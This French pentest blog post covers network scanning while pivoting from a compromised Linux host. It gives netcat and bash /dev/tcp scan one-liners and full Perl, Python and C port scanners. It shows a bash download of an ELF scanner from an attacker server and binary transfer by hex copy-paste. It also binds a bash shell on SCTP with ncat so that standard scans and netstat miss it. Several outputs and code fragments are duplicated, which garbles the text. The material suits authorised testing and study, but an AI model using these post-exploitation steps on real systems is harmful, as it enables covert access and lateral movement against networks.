Scanner sans outil spécifique lors d'un pivot
Lors d'un pentest, lorsque l'auditeur obtient un shell sur un système qu'il vient de compromettre, il se retrouve sur un environnement ne disposant pas de nmap. De surcroît, il ne possède pas forcément de privilèges root. En général, le pentester n'est pas autorisé à procéder à des installations. Seule l'exécution de binaire standalone est accepté par le propriétaire du système.
En conséquence, l'auditeur doit résoudre ces différentes difficultés. Voici plusieurs façons de procéder lors d'un pivoting pour explorer les réseaux et systèmes depuis un système Linux nouvellement compromis.
Netcat
Tout d'abord, netcat (ou nc) peut être présent sur le système car il est bien souvent installé par défaut. Si c'est le cas, netcat possède une option de scan TCP (-z). Il suffit de spécifier la plage de ports et l'IP cible.
$ nc -zv <host> <port range>
$ nc -zv 192.168.1.28 1-65353 2>&1 | grep -i succeeded
$ nc -zv 192.168.1.28 1-65353 2>&1 | grep -i succeeded
Bash
Le shell bash livré par l'éditeur de la distribution peut être compilé avec le support du pseudo périphérique interne /dev/tcp. Dans ce cas, il est possible d'ouvrir des sockets directement avec bash.
Pour scanner une liste de ports avec bash :
$ for i in 21 22 23 111 41998; do (echo > /dev/tcp/192.168.1.50/$i) > /dev/null 2>&1 && echo "$i/tcp open"; done
22/tcp open
111/tcp open
41998/tcp open
22/tcp open
111/tcp open
41998/tcp open
Pour scanner une plage de ports (ex: 1-65535):
$ for ((i=1; i<=65535; i++)); do (echo > /dev/tcp/192.168.1.50/$i) > /dev/null 2>&1 && echo "$i/tcp open"; done
22/tcp open
111/tcp open
41998/tcp open
111/tcp open
41998/tcp open
Bash permet d'ouvrir des descripteurs en lecture/écriture et notamment des descripteurs pointant sur des sockets.
- Le premier numéro de descripteur disponible dans un shell (après stdout) est 3.
- Une ouverture en lecture/écriture s'écrit avec les caractères de redirections "<>". Pour ouvrir le descripteur de fichier n° 3 en lecture/.écriture : exec 3<>
- Le file descriptor est associé à une socket TCP grâce au pseudo périphérique /dev/tcp. La syntaxe est : "/dev/tcp/www.google.com/80"
- Une écriture sur une socket est donc de la forme echo "XXX" >&3
- Une lecture depuis la socket : cat <&3
$ exec 3<>/dev/tcp/pentest/80
$ echo -e "GET /portscan HTTP/1.1\r\nhost: http://pentest\r\nConnection: close\r\n\r\n" >&3
$ cat <&3 > portscan
Le fichier en sortie portscan contient le header HTTP du serveur Web :
$ hd -n 16 portscan
00000000 48 54 54 50 2f 31 2e 30 20 32 30 30 20 4f 4b 0d |HTTP/1.0 200 OK.|
00000010
Pour supprimer le header il faut trouver l'offset du début du fichier ELF, ici il y a 203 octets :
$ tail -c +203 portscan | hd -n 16
00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
00000010
$ tail -c +203 portscan > portscanexe
Après troncature du header de portscan dans portscanexe, la vérification du type du fichier confirme qu'il s'agit d'un fichier exécutable de type ELF :
$ file portscanexe
portscanexe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=37cad68ecc478440b7c9c40ec8a22dabe4e885f5, not stripped
En ajoutant les droits en exécution, il devient possible d'exécuter le binaire et de scanner le réseau avec un programme téléchargé via bash. Le programme téléchargé utilise l'API socket standard car il effectue des hanshake TCP complet. Il ne requiert aucun droit privilégié pour l'exécution.
$ chmod +x portscanexe
$ ./portscanexe
Usage: ./portscanexe <ip> <start_port> <end_port>
$ ./portscanexe pentest 80 81
[*] Scanning pentest (192.168.1.73) TCP range port: 80-81
80/tcp open
[+] Scan done.
PERL
Si l'interpréteur PERL est présent sur le système, alors un script PERL peut être utilisé pour scanner le voisinage :
$ perl portscan.pl 192.168.1.50 1 65535
[*] Scanning 192.168.1.50 for open TCP ports 1-65535...
22/tcp open
111/tcp open
41998/tcp open
[+] Scan done.
[*] Scanning 192.168.1.50 for open TCP ports 1-65535...
22/tcp open
111/tcp open
41998/tcp open
[+] Scan done.
Script portscan.pl
$ cat portscan.pl
#!/usr/bin/perl
use Socket;
$| = 1;
($ip, $port, $port_stop) = @ARGV;
if ($ip eq "")
{ &usage();
}
$port = 1 if not $port;
$port_stop = 1024 if not $port_stop;
print "[*] Scanning $ip for open TCP ports $port-$port_stop...\n";
for (; $port < $port_stop; $port += 1)
{ socket(SOCKET, PF_INET, SOCK_STREAM, 0);
$addr = inet_aton($ip);
$ipaddr = sockaddr_in($port, $addr);
if (connect(SOCKET, $ipaddr))
{ printf "%#5d/tcp open\n", $port;
close SOCKET || die "close: $!";
}
}
printf "[+] Scan done.\n";
sub usage()
{ print "Usage: ./portscan.pl <host> [ <start port> ] | <stop port> ]\n";
print "Defaults port range 1-1024 \n";
exit 0;
}
#!/usr/bin/perl
use Socket;
$| = 1;
($ip, $port, $port_stop) = @ARGV;
if ($ip eq "")
{ &usage();
}
$port = 1 if not $port;
$port_stop = 1024 if not $port_stop;
print "[*] Scanning $ip for open TCP ports $port-$port_stop...\n";
for (; $port < $port_stop; $port += 1)
{ socket(SOCKET, PF_INET, SOCK_STREAM, 0);
$addr = inet_aton($ip);
$ipaddr = sockaddr_in($port, $addr);
if (connect(SOCKET, $ipaddr))
{ printf "%#5d/tcp open\n", $port;
close SOCKET || die "close: $!";
}
}
printf "[+] Scan done.\n";
sub usage()
{ print "Usage: ./portscan.pl <host> [ <start port> ] | <stop port> ]\n";
print "Defaults port range 1-1024 \n";
exit 0;
}
PYTHON
Si l'interpréteur PYTHON est présent sur le système, alors un script PYTHON peut être utilisé pour scanner le voisinage, ci-dessous un code python similaire à celui en perl. :
$ cat portscan.py
#!/usr/bin/env python
from socket import *
import sys, time
from datetime import datetime
min_port = 1
max_port = 65535
max_port = 65535
def scan_host(host, port, r_code = 1):
try:
try:
s = socket(AF_INET, SOCK_STREAM)
code = s.connect_ex((host, port))
if code == 0:
r_code = code
s.close()
r_code = code
s.close()
except Exception, e:
pass
pass
return r_code
if len(sys.argv) == 2:
host = sys.argv[1]
else:
print "usage: %s <IP address>\n" % (sys.argv[0])
sys.exit(1)
hostip = gethostbyname(host)
print "[+] Scanning %s (%s) on TCP port range %s-%s" % (host, hostip, str(min_port), str(max_port))
print "[+] Scanning started %s at %s" % (time.strftime("%F"), time.strftime("%H:%M:%S"))
start_time = datetime.now()
for port in range(min_port, max_port):
try:
response = scan_host(host, port)
if response == 0:
print "%#5d/tcp open" % (port)
except Exception, e:
pass
stop_time = datetime.now()
total_time_duration = stop_time - start_time
total_port = max_port - min_port + 1
print "[!] Scanning finished %s at %s" % (time.strftime("%F"),time.strftime("%H:%M:%S"))
print "[!] Scanning %d ports duration: %s" % (total_port, total_time_duration)
Exécutable ELF
La dernière option, déjà évoquée supra, est d'utiliser un exécutable ELF de petite taille, utilisant l'API socket TCP standard, sans privilège d'exécution, pour scanner les alentours en TCP connect. En l'absence d'outils locaux (y compris les sockets en bash) pour le download, il est possible de recourir à un copier/coller dans le terminal ouvert lors de la compromission via un éditeur comme vi. L'utilitaire xxd permet de convertir le fichier binaire en hexadécimal. Un copier/coller sur le système victime suivi d'une conversion inverse de hexadécimal vers binaire suffira pour procéder à un transfert.
Conversion du binaire en hexadécimal
$ xxd -p portscan
7f454c4602010100000000000000000002003e0001000000600940000000
00004000000000000000f821000000000000000000004000380009004000
[...]
5f5f005f49544d5f7265676973746572544d436c6f6e655461626c65005f
696e697400736f636b65744040474c4942435f322e322e3500
Edition sur la cible d'un fichier texte
$ vim hex
[...]<insert> + copier/coller
$ cat hex
7f454c4602010100000000000000000002003e0001000000600940000000
00004000000000000000f821000000000000000000004000380009004000
[...]
5f5f005f49544d5f7265676973746572544d436c6f6e655461626c65005f
696e697400736f636b65744040474c4942435f322e322e3500
Conversion hexadécimale vers binaire
$ xxd -r -p hex > exe
$ file exe
exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2
, for GNU/Linux 2.6.24, BuildID[sha1]=37cad68ecc478440b7c9c40ec8a22dabe4e885f5, not stripped
$ file exe
exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2
, for GNU/Linux 2.6.24, BuildID[sha1]=37cad68ecc478440b7c9c40ec8a22dabe4e885f5, not stripped
Exécution du fichier
$ chmod +x exe
$ ./exe pentest 20 80
[*] Scanning pentest (192.168.1.73) TCP range port: 20-80
22/tcp open
80/tcp open
[+] Scan done.
$ ./exe pentest 20 80
[*] Scanning pentest (192.168.1.73) TCP range port: 20-80
22/tcp open
80/tcp open
[+] Scan done.
Code source de portscan.c
/* portscan.c
* Build: gcc portscan.c -o portscan
*/
#include<stdio.h>
#include<sys/socket.h>
#include<errno.h>
#include<netdb.h>
#include<string.h>
#include<stdlib.h>
#include <arpa/inet.h>
void usage(char * pgm)
{ printf("Usage: %s <ip> <start_port> <end_port>\n", pgm);
exit (1);
}
int get_ipaddr(char * hostname, char* ip)
{
struct hostent * host;
struct in_addr ** addr_list;
int i;
if ((host = gethostbyname( hostname ) ) == NULL)
{ herror("gethostbyname");
return 1;
}
addr_list = (struct in_addr **) host->h_addr_list;
for(i = 0; addr_list[i] != NULL; i++)
{ strcpy(ip, inet_ntoa(*addr_list[i]));
return 0;
}
return 1;
}
int main(int argc , char **argv)
{
struct hostent * host;
int err, i, sock ,start , end;
struct sockaddr_in sa;
char hostname[256];
char ip[128];
if (argc != 4)
usage(argv[0]);
/* Get IP and hostname to scan */
strcpy(hostname, argv[1]);
get_ipaddr(hostname, ip);
/* Get range port */
sscanf(argv[2], "%d" , &start);
sscanf(argv[3], "%d" , &end);
printf("[*] Scanning %s (%s) TCP range port: %d-%d\n",
hostname, ip, start, end);
/* Initialise the sockaddr_in structure */
strncpy((char*)&sa , "" , sizeof(sa));
sa.sin_family = AF_INET;
/* Direct ip address or resolv it */
if (isdigit(hostname[0]))
{ sa.sin_addr.s_addr = inet_addr(hostname);
}
else if ((host = gethostbyname(hostname)) != 0)
{ strncpy((char*)&sa.sin_addr, (char*)host->h_addr ,
sizeof(sa.sin_addr));
}
else
{ herror(hostname);
exit(2);
}
/* Start port scan */
for (i = start ; i <= end ; i++)
{
sa.sin_port = htons(i);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
{ perror("[-] Error: socket");
exit(1);
}
err = connect(sock , (struct sockaddr*)&sa , sizeof sa);
if (err < 0) fflush(stdout);
else printf("%5d/tcp open\n", i);
close(sock);
}
printf("[+] Scan done.\n");
fflush(stdout);
return(0);
}
Les scans UDP ne sont pas abordés. Néanmoins, les pentest en environnement Telecom permettent de découvrir des services sur SCTP. SCTP est une couche de transport comme TCP ou UDP utilisée pour des protocoles de signalisation Telecom pour la voix (SS7/SIGTRAN ou Diameter). SCTP est présent dans les cœurs de réseaux mobile et fixe. Du point de vue de l'attaquant, l'intérêt de SCTP est qu'un shell bindé sur un port est transparent lors de scans classiques ou sur le système avec la commande netstat (c'est de moins en moins vrai selon les distributions Linux). L'utilitaire ncat (version améliorée de netcat), permet d'utiliser SCTP en IPv4 ou IPv6 pour binder un shell sur un port.
Exemple de bind de bash sur SCTP en IPv4:
victim$ ncat -k -l --sctp -4 -p 4444 -e /bin/bash
L'attaquant peut découvrir le port SCTP :
attacker$ ./sctp_port_scan victim 4000 5000
[*] Scanning victim (192.168.1.50) SCTP range port: 4000-5000
4444/sctp open
[+] Scan done.
Une connexion en SCTP est possible avec ncat :
attacker$ ncat --sctp victim 4444
uname -a Linux Kali 4.0.0-kali1-amd64 #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) x86_64 GNU/Linux
uname -a Linux Kali 4.0.0-kali1-amd64 #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) x86_64 GNU/Linux
whoami
user
user
Le code source est dérivé de celui de portscan.c avec 4 modifications (en rouge):
$ diff sctp_port_scan.c portscan.c
11d10
< #include <netinet/sctp.h>
15d13
<
11d10
< #include <netinet/sctp.h>
15d13
<
58c56
< printf("[*] Scanning %s (%s) SCTP range port: %d-%d\n", hostname, ip, start, end);
---
> printf("[*] Scanning %s (%s) TCP range port: %d-%d\n", hostname, ip, start, end);
80c78
< sock = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
---
> sock = socket(AF_INET, SOCK_STREAM, 0);
87c85
< else printf("%5d/sctp open\n", i);
---
> else printf("%5d/tcp open\n", i);
Pour compiler, il est nécessaire d'installer au préalable la librairie libsctp-dev.
< printf("[*] Scanning %s (%s) SCTP range port: %d-%d\n", hostname, ip, start, end);
---
> printf("[*] Scanning %s (%s) TCP range port: %d-%d\n", hostname, ip, start, end);
80c78
< sock = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
---
> sock = socket(AF_INET, SOCK_STREAM, 0);
87c85
< else printf("%5d/sctp open\n", i);
---
> else printf("%5d/tcp open\n", i);
Pour compiler, il est nécessaire d'installer au préalable la librairie libsctp-dev.
$ sudo apt-get install libsctp-dev
$ gcc stcp_portscan.c -o stcp_portscan
$ gcc stcp_portscan.c -o stcp_portscan
Aucun commentaire:
Enregistrer un commentaire